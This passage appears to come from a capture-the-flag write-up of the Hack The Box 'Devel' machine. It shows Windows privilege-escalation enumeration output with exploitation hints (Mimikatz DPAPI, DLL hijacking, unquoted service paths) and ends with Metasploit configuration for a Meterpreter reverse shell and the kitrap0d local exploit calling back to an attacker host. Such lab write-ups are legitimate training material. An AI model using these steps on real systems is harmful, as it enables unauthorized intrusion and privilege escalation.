EnableLUA      REG_DWORD      0x1
```

```
[33m[+] [97m Registered Anti-Virus(AV)
```

```
Checking for defender whitelisted PATHS
```

[33m[+] [97m PowerShell settings

PowerShell v2 Version:

HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine

PowerShellVersion	REG_SZ	2.0
-------------------	--------	-----

PowerShell v5 Version:

Transcriptions Settings:

Module logging settings:

Scriptblog logging settings:

PS default transcript history

Checking PS history file

[33m[+] [97m MOUNTED DISKS

[i] Maybe you find something interesting

Caption

A:

C:

[33m[+] [97m ENVIRONMENT

[i] Interesting information?

ALLUSERSPROFILE=C:\ProgramData

APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming

APP\_POOL\_CONFIG=C:\inetpub\temp\appools\Web.config

APP\_POOL\_ID=Web

CommonProgramFiles=C:\Program Files\Common Files

COMPUTERNAME=DEVEL

ComSpec=C:\Windows\system32\cmd.exe

CurrentLine= 0x1B[33m[+]0x1B[97m ENVIRONMENT

E=0x1B[

expl=yes

FP\_NO\_HOST\_CHECK=NO

LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local

long=false

NUMBER\_OF\_PROCESSORS=2

OS=Windows\_NT

Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

Percentage=1

PercentageTrack=19

PROCESSOR\_ARCHITECTURE=x86

PROCESSOR\_IDENTIFIER=x86 Family 6 Model 85 Stepping 7,  
GenuineIntel

PROCESSOR\_LEVEL=6

PROCESSOR\_REVISION=5507

ProgramData=C:\ProgramData

ProgramFiles=C:\Program Files

PROMPT=\$P\$G

PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

PUBLIC=C:\Users\Public

SystemDrive=C:

SystemRoot=C:\Windows

TEMP=C:\Windows\TEMP

TMP=C:\Windows\TEMP

USERDOMAIN=HTB



USERNAME=DEVEL\$

USERPROFILE=C:\Windows\system32\config\systemprofile

windir=C:\Windows

[33m[+] [97m INSTALLED SOFTWARE

[i] Some weird software? Check for vulnerabilities in  
unknow software installed

[?] [https://book.hacktricks.xyz/windows-  
hardening/windows-local-privilege-escalation#software](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software)

Common Files

DVD Maker

Internet Explorer

MSBuild

Reference Assemblies

VMware

Windows Defender

Windows Journal

Windows Mail

Windows Media Player

Windows NT

Windows Photo Viewer

Windows Portable Devices

Windows Sidebar

InstallLocation REG\_SZ C:\Program  
Files\VMware\VMware Tools\

[33m[+] [97m Remote Desktop Credentials Manager

[?] [https://book.hacktricks.xyz/windows-  
hardening/windows-local-privilege-escalation#remote-  
desktop-credential-manager](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager)

[33m[+] [97m WSUS

[i] You can inject 'fake' updates into non-SSL WSUS  
traffic (WSUXploit)

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus>

[33m[+] [97m RUNNING PROCESSES

[i] Something unexpected is running? Check for vulnerabilities

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes>

Image Name	PID	Services
------------	-----	----------

=====

=====

System Idle Process	0	N/A
---------------------	---	-----

System	4	N/A
--------	---	-----

smss.exe	232	N/A
----------	-----	-----

csrss.exe	316	N/A
-----------	-----	-----

wininit.exe	368	N/A
-------------	-----	-----

csrss.exe	384	N/A
winlogon.exe	428	N/A
services.exe	472	N/A
lsass.exe	488	SamSs
lsmd.exe	496	N/A
svchost.exe Power	592	DcomLaunch, PlugPlay,
svchost.exe	664	RpcEptMapper, RpcSs
LogonUI.exe	744	N/A
svchost.exe eventlog, lmhosts, wscsvc	752	Audiosrv, Dhcp,
svchost.exe CscService, SysMain,	808	AudioEndpointBuilder,
		TrkWks, UxSms
svchost.exe iphlpvc, LanmanServer,	856	AeLookupSvc, gpsvc,
		ProfSvc, Schedule,
SENS, ShellHWDetection,		
		Themes, Winmgmt,

wuauserv

svchost.exe 956 EventSystem, netprofm,  
nsi, sppuinotify,

W32Time,

WdiServiceHost

svchost.exe 1060 CryptSvc, Dnscache,  
LanmanWorkstation,

NlaSvc

spoolsv.exe 1160 Spooler

svchost.exe 1196 BFE, DPS, MpsSvc

svchost.exe 1284 AppHostSvc

svchost.exe 1320 FDResPub

svchost.exe 1376 ftpsvc

VGAuthService.exe 1448 VGAuthService

vmtoolsd.exe 1532 VMTools

svchost.exe 1560 W3SVC, WAS

WmiPrvSE.exe 284 N/A

msdtc.exe 1120 MSDTC

sppsvc.exe	3180	sppsvc
svchost.exe	3224	WinDefend
SearchIndexer.exe	3368	WSearch
w3wp.exe	2376	N/A
cmd.exe	3016	N/A
conhost.exe	4092	N/A
ntvdm.exe	3528	N/A
WmiPrvSE.exe	1884	N/A
TrustedInstaller.exe	1912	TrustedInstaller
tasklist.exe	2452	N/A

[i] Checking file permissions of running processes  
(File backdooring - maybe the same files start  
automatically when Administrator logs in)

[i] Checking directory permissions of running  
processes (DLL injection)

[33m[+] [97m RUN AT STARTUP

[i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#run-at-startup>

Folder: \

INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft

INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows

INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows\Active Directory Rights  
Management Services Client

AD RMS Rights Policy Template Management N/A  
Ready

Folder: \Microsoft\Windows\Autochk

Proxy N/A  
Ready

Folder: \Microsoft\Windows\Customer Experience  
Improvement Program

Consolidator 24/9/2022  
12:00:00 §£ Could not start

KernelCeipTask 29/9/2022  
3:30:00 §£ Ready

UsbCeip 24/9/2022  
1:30:00 §£ Ready



Folder: \Microsoft\Windows\Defrag

ScheduledDefrag 28/9/2022

1:45:26 §£ Ready

Folder: \Microsoft\Windows\Diagnosis

Scheduled 25/9/2022

1:00:00 §£ Ready

Folder: \Microsoft\Windows\DiskDiagnostic

Folder: \Microsoft\Windows\Location

Notifications N/A

Ready

Folder: \Microsoft\Windows\Maintenance

WinSAT 25/9/2022

1:00:00 §£ Could not start

Folder: \Microsoft\Windows\Media Center

ActivateWindowsSearch	N/A
Ready	
ConfigureInternetTimeService	N/A
Ready	
DispatchRecoveryTasks	N/A
Ready	
ehDRMInit	N/A
Ready	
InstallPlayReady	N/A
Ready	
mcupdate	N/A
Ready	
MediaCenterRecoveryTask	N/A
Ready	
ObjectStoreRecoveryTask	N/A
Ready	
OCURActivate	N/A
Ready	
OCURDiscovery	N/A
Ready	

PBDADiscovery	N/A
---------------	-----

Ready

PBDADiscoveryW1	N/A
-----------------	-----

Ready

PBDADiscoveryW2	N/A
-----------------	-----

Ready

PvrRecoveryTask	N/A
-----------------	-----

Ready

PvrScheduleTask	N/A
-----------------	-----

Ready

RegisterSearch	N/A
----------------	-----

Ready

ReindexSearchRoot	N/A
-------------------	-----

Ready

SqlLiteRecoveryTask	N/A
---------------------	-----

Ready

UpdateRecordPath	N/A
------------------	-----

Ready

Folder: \Microsoft\Windows\MemoryDiagnostic

CorruptionDetector	N/A
--------------------	-----

Ready

DecompressionFailureDetector

N/A

Ready

Folder: \Microsoft\Windows\MobilePC

HotStart

N/A

Ready

Folder: \Microsoft\Windows\MUI

LPRemove

N/A

Ready

Folder: \Microsoft\Windows\Multimedia

SystemSoundsService

N/A

Ready

Folder: \Microsoft\Windows\NetTrace

GatherNetworkInfo

N/A

Ready

Folder: \Microsoft\Windows\Offline Files

Folder: \Microsoft\Windows\PLA

INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows\Power Efficiency Diagnostics

AnalyzeSystem	4/10/2022
6:43:58 §£	Ready

Folder: \Microsoft\Windows\RAC

RacTask	23/9/2022
11:02:10 §£	Ready

Folder: \Microsoft\Windows\Shell

Folder: \Microsoft\Windows\SideShow

GadgetManager	N/A
Ready	

Folder: \Microsoft\Windows\SystemRestore

SR	24/9/2022
12:00:00 §£	Ready

Folder: \Microsoft\Windows\Tcpip

IpAddressConflict1	N/A
Ready	

IpAddressConflict2	N/A
Ready	

Folder: \Microsoft\Windows\TextServicesFramework

MsCtfMonitor	N/A
Ready	

Folder: \Microsoft\Windows\Time Synchronization

SynchronizeTime

25/9/2022

1:00:00 §£ Ready

Folder: \Microsoft\Windows\Windows Error Reporting

QueueReporting

N/A

Ready

Folder: \Microsoft\Windows\Windows Filtering Platform

BfeOnServiceStartTypeChange

N/A

Ready

Folder: \Microsoft\Windows\Windows Media Sharing

UpdateLibrary

N/A

Ready

Folder: \Microsoft\Windows\WindowsBackup

ConfigNotification

24/9/2022

10:00:00 §£ Ready

Folder: \Microsoft\Windows\WindowsColorSystem

Folder: \Microsoft\Windows Defender

MP Scheduled Scan

24/9/2022

3:40:06 § Ready

[33m[+] [97m AlwaysInstallElevated?

[i] If '1' then you can install a .msi file with admin privileges ;)

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated>

[32m[\*] [97m NETWORK

[33m[+] [97m CURRENT SHARES

[33m[+] [97m INTERFACES



## Windows IP Configuration

Host Name . . . . . : devel

Primary Dns Suffix . . . . . :

Node Type . . . . . : Hybrid

IP Routing Enabled. . . . . : No

WINS Proxy Enabled. . . . . : No

DNS Suffix Search List. . . . . : .htb

### Ethernet adapter Local Area Connection 4:

Connection-specific DNS Suffix . : .htb

Description . . . . . : vmxnet3 Ethernet  
Adapter #4

Physical Address. . . . . : 00-50-56-B9-53-69

DHCP Enabled. . . . . : Yes

Autoconfiguration Enabled . . . . : Yes

IPv6 Address. . . . . :

dead:beef::f07b:e940:398b:4b87(Preferred)

Temporary IPv6 Address. . . . . :

dead:beef::5da9:280d:b591:a8c6(Preferred)

Link-local IPv6 Address . . . . . :

fe80::f07b:e940:398b:4b87%19(Preferred)

IPv4 Address. . . . . :

10.129.70.136(Preferred)

Subnet Mask . . . . . : 255.255.0.0

Lease Obtained. . . . . : " ©j -ã, 23

§« £ "å!¬ 2022 9:07:24 §£

Lease Expires . . . . . : " ©j -ã, 23

§« £ "å!¬ 2022 11:07:42 §£

Default Gateway . . . . . :

fe80::250:56ff:feb9:2bb5%19

10.129.0.1

DHCP Server . . . . . : 10.129.0.1

DNS Servers . . . . . : 1.1.1.1

8.8.8.8

NetBIOS over Tcpip. . . . . : Enabled

Tunnel adapter isatap..htb:

Media State . . . . . : Media disconnected

Connection-specific DNS Suffix . : .htb

Description . . . . . : Microsoft ISATAP  
Adapter

Physical Address. . . . . : 00-00-00-00-00-00-  
00-E0

DHCP Enabled. . . . . : No

Autoconfiguration Enabled . . . . : Yes

Tunnel adapter Local Area Connection\* 9:

Media State . . . . . : Media disconnected

Connection-specific DNS Suffix . :

Description . . . . . : Teredo Tunneling  
Pseudo-Interface

Physical Address. . . . . : 00-00-00-00-00-00-  
00-E0

DHCP Enabled. . . . . : No

Autoconfiguration Enabled . . . . : Yes

[33m[+] [97m USED PORTS

[i] Check for services restricted from the outside

TCP	0.0.0.0:21	0.0.0.0:0
LISTENING	1376	

TCP	0.0.0.0:80	0.0.0.0:0
LISTENING	4	

TCP	0.0.0.0:135	0.0.0.0:0
LISTENING	664	

TCP	0.0.0.0:445	0.0.0.0:0
LISTENING	4	

TCP	0.0.0.0:5357	0.0.0.0:0
LISTENING	4	

TCP	0.0.0.0:49152	0.0.0.0:0
LISTENING	368	
TCP	0.0.0.0:49153	0.0.0.0:0
LISTENING	752	
TCP	0.0.0.0:49154	0.0.0.0:0
LISTENING	856	
TCP	0.0.0.0:49155	0.0.0.0:0
LISTENING	472	
TCP	0.0.0.0:49156	0.0.0.0:0
LISTENING	488	
TCP	10.129.70.136:139	0.0.0.0:0
LISTENING	4	
TCP	[::]:21	[::]:0
LISTENING	1376	
TCP	[::]:80	[::]:0
LISTENING	4	
TCP	[::]:135	[::]:0
LISTENING	664	
TCP	[::]:445	[::]:0
LISTENING	4	
TCP	[::]:5357	[::]:0

LISTENING 4

TCP [::]:49152 [::]:0

LISTENING 368

TCP [::]:49153 [::]:0

LISTENING 752

TCP [::]:49154 [::]:0

LISTENING 856

TCP [::]:49155 [::]:0

LISTENING 472

TCP [::]:49156 [::]:0

LISTENING 488

[33m[+] [97m FIREWALL

Firewall status:

-----  
-----

Profile = Standard

Operational mode = Enable

Exception mode = Enable

Multicast/broadcast response mode = Enable

Notification mode = Enable

Group policy version = Windows Firewall

Remote admin mode = Disable

Ports currently open on all network interfaces:

Port	Protocol	Version	Program
------	----------	---------	---------

-----			
-----			

No ports are currently open on all network interfaces.

IMPORTANT: Command executed successfully.

However, "netsh firewall" is deprecated;

use "netsh advfirewall firewall" instead.

For more information on using "netsh advfirewall  
firewall" commands

instead of "netsh firewall", see KB article 947709

at <http://go.microsoft.com/fwlink/?linkid=121488> .

#### Domain profile configuration:

-----  
-----

Operational mode = Enable

Exception mode = Enable

Multicast/broadcast response mode = Enable

Notification mode = Enable

#### Allowed programs configuration for Domain profile:

Mode	Traffic direction	Name / Program
------	-------------------	----------------

-----  
-----



Port configuration for Domain profile:

Port	Protocol	Mode	Traffic direction	Name
------	----------	------	-------------------	------

-----				
-----				

ICMP configuration for Domain profile:

Mode	Type	Description
------	------	-------------

-----		
-----		

Enable	2	Allow outbound packet too big
--------	---	-------------------------------

Standard profile configuration (current):

-----	
-----	

Operational mode = Enable

Exception mode = Enable

Multicast/broadcast response mode = Enable

Notification mode = Enable

Service configuration for Standard profile:

Mode	Customized	Name
------	------------	------

-----		
-----		

Enable	No	File and Printer Sharing
--------	----	--------------------------

Enable	No	Network Discovery
--------	----	-------------------

Allowed programs configuration for Standard profile:

Mode	Traffic direction	Name / Program
------	-------------------	----------------

-----		
-----		

Port configuration for Standard profile:

Port	Protocol	Mode	Traffic direction	Name
------	----------	------	-------------------	------

-----				
-------	--	--	--	--

-----  
  
ICMP configuration for Standard profile:

Mode	Type	Description
------	------	-------------

Enable	2	Allow outbound packet too big
--------	---	-------------------------------

Log configuration:

-----  
-----  
  
File location =  
C:\Windows\system32\LogFiles\Firewall\pfirewall.log

Max file size = 4096 KB

Dropped packets = Disable

Connections = Disable

IMPORTANT: Command executed successfully.

However, "netsh firewall" is deprecated;

use "netsh advfirewall firewall" instead.

For more information on using "netsh advfirewall  
firewall" commands

instead of "netsh firewall", see KB article 947709

at <http://go.microsoft.com/fwlink/?linkid=121488> .

[33m[+] [97m ARP

Interface: 10.129.70.136 --- 0x13

Internet Address	Physical Address	Type
10.129.0.1	00-50-56-b9-2b-b5	dynamic
10.129.255.255	ff-ff-ff-ff-ff-ff	static
224.0.0.22	01-00-5e-00-00-16	static

224.0.0.252	01-00-5e-00-00-fc	static
-------------	-------------------	--------

255.255.255.255	ff-ff-ff-ff-ff-ff	static
-----------------	-------------------	--------

[33m[+] [97m ROUTES

=====

=====

## Interface List

19...00 50 56 b9 53 69 .....vmxnet3 Ethernet Adapter #4

1.....Software Loopback Interface  
1

11...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter

12...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-  
Interface

=====

=====

## IPv4 Route Table

=====

=====

## Active Routes:

Network	Destination	Netmask	Gateway
Interface	Metric		
	0.0.0.0	0.0.0.0	10.129.0.1
10.129.70.136	5		
	10.129.0.0	255.255.0.0	On-link
10.129.70.136	261		
	10.129.70.136	255.255.255.255	On-link
10.129.70.136	261		
	10.129.255.255	255.255.255.255	On-link
10.129.70.136	261		
	127.0.0.0	255.0.0.0	On-link
127.0.0.1	306		
	127.0.0.1	255.255.255.255	On-link
127.0.0.1	306		
	127.255.255.255	255.255.255.255	On-link
127.0.0.1	306		
	224.0.0.0	240.0.0.0	On-link
127.0.0.1	306		
	224.0.0.0	240.0.0.0	On-link
10.129.70.136	261		

```
255.255.255.255 255.255.255.255 On-link
127.0.0.1 306
```

```
255.255.255.255 255.255.255.255 On-link
10.129.70.136 261
```

```
=====
=====
```

## Persistent Routes:

Network Address	Netmask	Gateway Address
-----------------	---------	-----------------

0.0.0.0	0.0.0.0	10.10.10.2
---------	---------	------------

0.0.0.0	0.0.0.0	10.10.10.2
---------	---------	------------

```
=====
=====
```

## IPv6 Route Table

```
=====
=====
```

## Active Routes:

If	Metric	Network	Destination	Gateway
----	--------	---------	-------------	---------

19	261	::/0		
----	-----	------	--	--

		fe80::250:56ff:feb9:2bb5		
--	--	--------------------------	--	--

1	306	::1/128		On-link
---	-----	---------	--	---------

19	13	dead:beef::/64		On-link
----	----	----------------	--	---------

19	261	dead:beef::5da9:280d:b591:a8c6/128		
----	-----	------------------------------------	--	--

				On-link
--	--	--	--	---------

19	261	dead:beef::f07b:e940:398b:4b87/128		
----	-----	------------------------------------	--	--

				On-link
--	--	--	--	---------

19	261	fe80::/64		On-link
----	-----	-----------	--	---------

19	261	fe80::f07b:e940:398b:4b87/128		
----	-----	-------------------------------	--	--

				On-link
--	--	--	--	---------

1	306	ff00::/8		On-link
---	-----	----------	--	---------

19	261	ff00::/8		On-link
----	-----	----------	--	---------

=====

=====

Persistent Routes:



None

[33m[+] [97m Hosts file

[33m[+] [97m DNS CACHE

[33m[+] [97m WIFI

[32m[\*] [97m BASIC USER INFO

[i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups>

[33m[+] [97m CURRENT USER

The request will be processed at a domain controller for domain HTB.

## USER INFORMATION

-----

User Name	SID
-----------	-----

=====

=====

=====

iis apppool\web	S-1-5-82-2971860261-2701350812-2118117159-340795515-2183480550
-----------------	--

## GROUP INFORMATION

-----

Group Name	Type	SID
Attributes		
=====		
=====		
=====		
Mandatory Label\High Mandatory Level Label		S-
1-16-12288		
Everyone	Well-known group	S-
1-1-0	Mandatory group, Enabled by default, Enabled group	
BUILTIN\Users	Alias	S-
1-5-32-545	Mandatory group, Enabled by default, Enabled group	
NT AUTHORITY\SERVICE	Well-known group	S-
1-5-6	Mandatory group, Enabled by default, Enabled group	
CONSOLE LOGON	Well-known group	S-
1-2-1	Mandatory group, Enabled by default, Enabled group	
NT AUTHORITY\Authenticated Users	Well-known group	S-
1-5-11	Mandatory group, Enabled by default, Enabled group	
NT AUTHORITY\This Organization	Well-known group	S-

1-5-15 Mandatory group, Enabled by default, Enabled group

BUILTIN\IIS\_IUSRS Alias S-

1-5-32-568 Mandatory group, Enabled by default, Enabled group

LOCAL Well-known group S-

1-2-0 Mandatory group, Enabled by default, Enabled group

Unknown SID type S-

1-5-82-0 Mandatory group, Enabled by default, Enabled group

## PRIVILEGES INFORMATION

-----

Privilege Name	Description
State	

=====

=====

SeAssignPrimaryTokenPrivilege Replace a process level

token Disabled

SeIncreaseQuotaPrivilege Adjust memory quotas for a  
process Disabled

SeShutdownPrivilege Shut down the system  
Disabled

SeAuditPrivilege Generate security audits  
Disabled

SeChangeNotifyPrivilege Bypass traverse checking  
Enabled

SeUndockPrivilege Remove computer from  
docking station Disabled

SeImpersonatePrivilege Impersonate a client after  
authentication Enabled

SeCreateGlobalPrivilege Create global objects  
Enabled

SeIncreaseWorkingSetPrivilege Increase a process working  
set Disabled

SeTimeZonePrivilege Change the time zone  
Disabled

User accounts for \\

-----  
-----

Administrator	babis	Guest
---------------	-------	-------

The command completed with one or more errors.

[33m[+] [97m GROUPS

[33m[+] [97m ADMINISTRATORS GROUPS

Alias name	Administrators
------------	----------------

Comment	Administrators have complete and unrestricted access to the computer/domain
---------	--

Members

-----  
-----  
  
Administrator

The command completed successfully.

[33m[+] [97m CURRENT LOGGED USERS

[33m[+] [97m Kerberos Tickets

Current LogonId is 0:0x9d063

Error calling API LsaCallAuthenticationPackage  
(ShowTickets substatus): 1312

klist failed with 0xc0000005f/-1073741729: A specified  
logon session does not exist. It may already have been  
terminated.

[33m[+] [97m CURRENT CLIPBOARD

[i] Any password inside the clipboard?

[32m[\*] [97m SERVICE VULNERABILITIES

[33m[+] [97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services>

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet\_stat  
e.exe NT SERVICE\TrustedInstaller:(F)

C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.ex  
e NT SERVICE\TrustedInstaller:(F)

C:\Windows\ehome\ehRecvr.exe NT SERVICE\TrustedInstaller:



(F)

C:\Windows\ehome\ehsched.exe NT SERVICE\TrustedInstaller:  
(F)

C:\Windows\Microsoft.Net\Framework\v3.0\WPF\PresentationFontCache.exe NT SERVICE\TrustedInstaller:(F)

C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\infocard.exe NT  
SERVICE\TrustedInstaller:(F)

C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMSvcHost.exe NT  
SERVICE\TrustedInstaller:(F)

C:\Windows\servicing\TrustedInstaller.exe NT  
SERVICE\TrustedInstaller:(F)

C:\Program Files\VMware\VMware Tools\VMware VGAuthService.exe BUILTIN\Administrators:(I)(F)

C:\Program Files\VMware\VMware Tools\vmtoolsd.exe  
BUILTIN\Administrators:(I)(F)

C:\Program Files\Windows Media Player\wmpnetwk.exe NT  
SERVICE\TrustedInstaller:(F)

[33m[+] [97m CHECK IF YOU CAN MODIFY ANY SERVICE  
REGISTRY

[?] [https://book.hacktricks.xyz/windows-  
hardening/windows-local-privilege-escalation#services](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services)

[33m[+] [97m UNQUOTED SERVICE PATHS

[i] When the path is not quoted (ex: C:\Program  
files\soft\new folder\exec.exe) Windows will try to  
execute first 'C:\Program.exe', then 'C:\Program  
Files\soft\new.exe' and finally 'C:\Program  
Files\soft\new folder\exec.exe'. Try to create  
'C:\Program Files\soft\new.exe'

[i] The permissions are also checked and filtered  
using icacls

[?] [https://book.hacktricks.xyz/windows-  
hardening/windows-local-privilege-escalation#services](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services)

aspnet\_state

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet\_stat  
e.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet\_stat  
e.exe NT SERVICE\TrustedInstaller:(F)

clr\_optimization\_v2.0.50727\_32

C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorlib.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorlib.exe  
NT SERVICE\TrustedInstaller:(F)

ehRecvr

C:\Windows\ehome\ehRecvr.exe

C:\Windows\ehome\ehRecvr.exe NT SERVICE\TrustedInstaller:  
(F)

ehSched

C:\Windows\ehome\ehsched.exe

C:\Windows\ehome\ehsched.exe NT SERVICE\TrustedInstaller:  
(F)

FontCache3.0.0.0

C:\Windows\Microsoft.Net\Framework\v3.0\WPF\PresentationFontCache.exe

C:\Windows\Microsoft.Net\Framework\v3.0\WPF\PresentationFontCache.exe NT SERVICE\TrustedInstaller:(F)

TrustedInstaller

C:\Windows\servicing\TrustedInstaller.exe

C:\Windows\servicing\TrustedInstaller.exe NT SERVICE\TrustedInstaller:(F)

[32m[\*] [97m DLL HIJACKING in PATHenv variable

[i] Maybe you can take advantage of modifying/creating some binary in some of the following locations

[i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll->

hijacking

C:\Windows\system32 NT SERVICE\TrustedInstaller:(F)

C:\Windows NT SERVICE\TrustedInstaller:(F)

C:\Windows\System32\Wbem NT SERVICE\TrustedInstaller:(F)

[32m[\*] [97m CREDENTIALS

[33m[+] [97m WINDOWS VAULT

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#windows-vault>

Currently stored credentials:

\* NONE \*

## [33m[+] [97m DPAPI MASTER KEYS

[i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi>

## [33m[+] [97m DPAPI MASTER KEYS

[i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt

[i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi>

Looking inside

C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Credentials\

Looking inside

C:\Windows\system32\config\systemprofile\AppData\Local\Mi

crosoft\Credentials\

[33m[+] [97m Unattended files

[33m[+] [97m SAM and SYSTEM backups

[33m[+] [97m McAfee SiteList.xml

Volume in drive C has no label.

Volume Serial Number is 137F-3971

C:\Program Files

Volume in drive C has no label.

Volume Serial Number is 137F-3971

Volume in drive C has no label.

Volume Serial Number is 137F-3971

Volume in drive C has no label.

Volume Serial Number is 137F-3971

[33m[+] [97m GPP Password

[33m[+] [97m Cloud Credentials

[33m[+] [97m AppCmd

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe>  
C:\Windows\system32\inetsrv\appcmd.exe exists.

[33m[+] [97m Files in registry that may contain credentials

[i] Searching specific files that may contains credentials.

[?] <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files>

Looking inside HKCU\Software\ORL\WinVNC3\Password



Looking inside

HKEY\_LOCAL\_MACHINE\SOFTWARE\RealVNC\WinVNC4/password

Looking inside HKLM\SOFTWARE\Microsoft\Windows

NT\Currentversion\WinLogon

DefaultUserName      REG\_SZ      babis

Looking inside

HKLM\SYSTEM\CurrentControlSet\Services\SNMP

HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP  
\Parameters

HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP  
\Parameters\ExtensionAgents

W3SVC      REG\_SZ

Software\Microsoft\W3SVC\CurrentVersion

FTPSVC      REG\_SZ

Software\Microsoft\FTPSVC\CurrentVersion

Looking inside HKCU\Software\TightVNC\Server

```
Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
```

```
Looking inside HKCU\Software\OpenSSH\Agent\Keys
```

```
C:\Windows\Panther\setupinfo
```

```
C:\Windows\System32\inetsrv\appcmd.exe
```

```
C:\Windows\winsxs\x86_microsoft-windows-iis-  
sharedlibraries_31bf3856ad364e35_6.1.7600.16385_none_10bf  
c8e81625ecbd\appcmd.exe
```

```
C:\inetpub\temp\appPools\Web.config
```

```
---
```

```
Scan complete.
```

## Metasploit handler Reverse Shell

```
msf6 exploit(multi/handler) > show options
```

```
Module options (exploit/multi/handler):
```

Name	Current Setting	Required	Description
----	-----	-----	-----

```
Payload options (windows/meterpreter_reverse_tcp):
```

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS		no	Comma-separate list of extensions to load
EXTINIT		no	Initialization strings for extensions
LHOST	10.10.14.4	yes	The listen address (an interface may be specified)
LPORT	8081	yes	The listen port

Exploit target:

Id	Name
--	----
0	Wildcard Target

```
msf6 exploit(multi/handler) > run
```

## Privileges Escalation Shell

```
msf6 exploit(windows/local/ms10_015_kitrap0d) > show options
```

Module options (exploit/windows/local/ms10\_015\_kitrap0d):

Name	Current Setting	Required	Description
----	-----	-----	-----
SESSION	11	yes	The session to run

this module on

Payload options (windows/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.10.14.4	yes	The listen address (an interface may be specified)
LPORT	7777	yes	The listen port

Exploit target:

Id	Name
--	----
0	Windows 2K SP4 - Windows 7 (x86)